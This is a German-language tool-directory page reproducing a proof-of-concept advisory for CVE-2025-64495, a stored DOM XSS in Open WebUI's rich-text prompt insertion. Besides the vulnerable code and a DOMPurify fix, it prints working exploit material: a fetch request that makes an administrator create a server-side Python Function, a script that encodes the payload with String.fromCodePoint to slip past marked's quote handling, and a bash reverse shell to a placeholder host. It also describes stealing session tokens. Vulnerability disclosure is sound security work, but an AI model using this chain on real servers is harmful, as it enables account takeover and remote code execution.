Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-64495-POC — Open WebUI ist anfällig für Stored DOM XSS über Eingabeaufforderungen, wenn 'Insert Prompt as Rich Text' aktiviert ist, was zu ATO/RCE führt. | Kitploit
Tools/GitHubGitHub/alphabugx/cve-2025-64495-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubalphabugx/cve-2025-64495-poc

CVE-2025-64495-POC

Open WebUI ist anfällig für Stored DOM XSS über Eingabeaufforderungen, wenn 'Insert Prompt as Rich Text' aktiviert ist, was zu ATO/RCE führt.

Repository anzeigen
31vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-64495-POC

Open WebUI ist anfällig für Stored DOM XSS über Prompts, wenn 'Prompt als Rich Text einfügen' aktiviert ist, was zu ATO/RCE führt. wechat

Zusammenfassung

Die Funktionalität, die benutzerdefinierte Prompts in das Chat-Fenster einfügt, ist anfällig für DOM XSS, wenn 'Prompt als Rich Text einfügen' aktiviert ist, da der Prompt-Text ohne Bereinigung dem DOM-Sink .innerHtml zugewiesen wird. Jeder Benutzer mit Berechtigungen zum Erstellen von Prompts kann dies missbrauchen, um eine Payload zu platzieren, die von anderen Benutzern ausgelöst werden kann, wenn sie den entsprechenden / Befehl zum Einfügen des Prompts ausführen.

Details

Die betroffene Zeile ist

open-webui/src/lib/components/common/RichTextInput.svelte

root@kitploit:~
Line 348 in 7a83e7d

 			tempDiv.innerHTML = htmlContent; 
	export const replaceCommandWithText = async (text) => {
		const { state, dispatch } = editor.view;
		const { selection } = state;
		const pos = selection.from;

		// Get the plain text of this document
		// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');

		// Find the word boundaries at cursor
		const { start, end } = getWordBoundsAtPos(state.doc, pos);

		let tr = state.tr;

		if (insertPromptAsRichText) {
			const htmlContent = marked
				.parse(text, {
					breaks: true,
					gfm: true
				})
				.trim();

			// Create a temporary div to parse HTML
			const tempDiv = document.createElement('div');
			tempDiv.innerHTML = htmlContent;                                          // <---- vulnerable

Benutzergesteuertes HTML aus dem Prompt-Text wird ohne (sinnvolle) Bereinigung an tempDiv.innerHTML zugewiesen. marked.parse führt einige Zeichenbeschränkungen ein, bereinigt den Inhalt jedoch nicht, wie in deren README angegeben.

image

PoC

Erstellen Sie einen benutzerdefinierten Prompt wie folgt: image

Stellen Sie in den Einstellungen sicher, dass 'Prompt als Rich Text einfügen' aktiviert ist: image

Führen Sie den Befehl /poc über ein Chat-Fenster aus. image

Beobachten Sie, dass der Alert ausgelöst wird. image

RCE

Da Administratoren normalerweise über die 'Functions'-Funktion beliebigen Python-Code auf dem Server ausführen können, könnte dieser XSS genutzt werden, um jeden Administrator, der ihn auslöst, zu zwingen, eine solche Funktion mit Python-Code nach Wahl des Angreifers auszuführen.

Dies kann erreicht werden, indem man sie die folgende fetch-Anfrage ausführen lässt:

root@kitploit:~
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('echo RCE')"
  })
})

Dies kann nicht direkt erfolgen, da der marked.parse-Aufruf, durch den das HTML geleitet wird, Payloads mit Anführungszeichen neutralisiert. image

Um dies zu umgehen, müssen Zeichenfolgen manuell aus ihren Dezimalwerten mit String.fromCodePoint erstellt werden. Das folgende Python-Skript automatisiert die Generierung einer brauchbaren Payload aus gegebenem JavaScript:

root@kitploit:~
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
  })
})
""".lstrip().rstrip()

out = ""

for c in payload2:
    out += f"String.fromCodePoint({ord(c)})+"

print(f"")

Ein Administrator, der die entsprechende Payload über einen Prompt-Befehl auslöst, wird eine Python-Funktion ausführen, die eine Reverse-Shell-Payload ausführt und dem Angreifer Kommandozeilenzugriff auf den Server gewährt. image

image
image

Auswirkungen

Jeder Benutzer, der den schädlichen Prompt ausführt, könnte sein Konto durch schädliches JavaScript kompromittieren, das ihr Sitzungstoken aus dem LocalStorage ausliest und an einen vom Angreifer kontrollierten Server exfiltriert.

Administratorbenutzer, die den schädlichen Prompt ausführen, riskieren die Gefährdung des Backend-Servers durch Remote-Codeausführung (RCE), da schädliches JavaScript, das über die Schwachstelle läuft, verwendet werden kann, um Anfragen als Administratorbenutzer zu senden, die schädliche Python-Funktionen ausführen, die Betriebssystembefehle ausführen können.

Einschränkungen

Benutzer mit niedrigen Berechtigungen können standardmäßig keine Prompts erstellen; es wird die Berechtigung USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS benötigt, die z. B. über eine benutzerdefinierte Gruppe vergeben werden kann. Siehe: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions

Ein Opferbenutzer, der den Befehl zum Auslösen des Prompts ausführt, muss die Einstellung 'Prompt als Rich Text einfügen' in den Einstellungen aktiviert haben, damit die Schwachstelle ausgelöst wird. Die Einstellung ist standardmäßig deaktiviert. Benutzer mit deaktivierter Einstellung sind nicht betroffen.

Behebung

Bereinigen Sie das benutzergesteuerte HTML mit DOMPurify, bevor Sie es .innerHtml zuweisen.

Tool herunterladen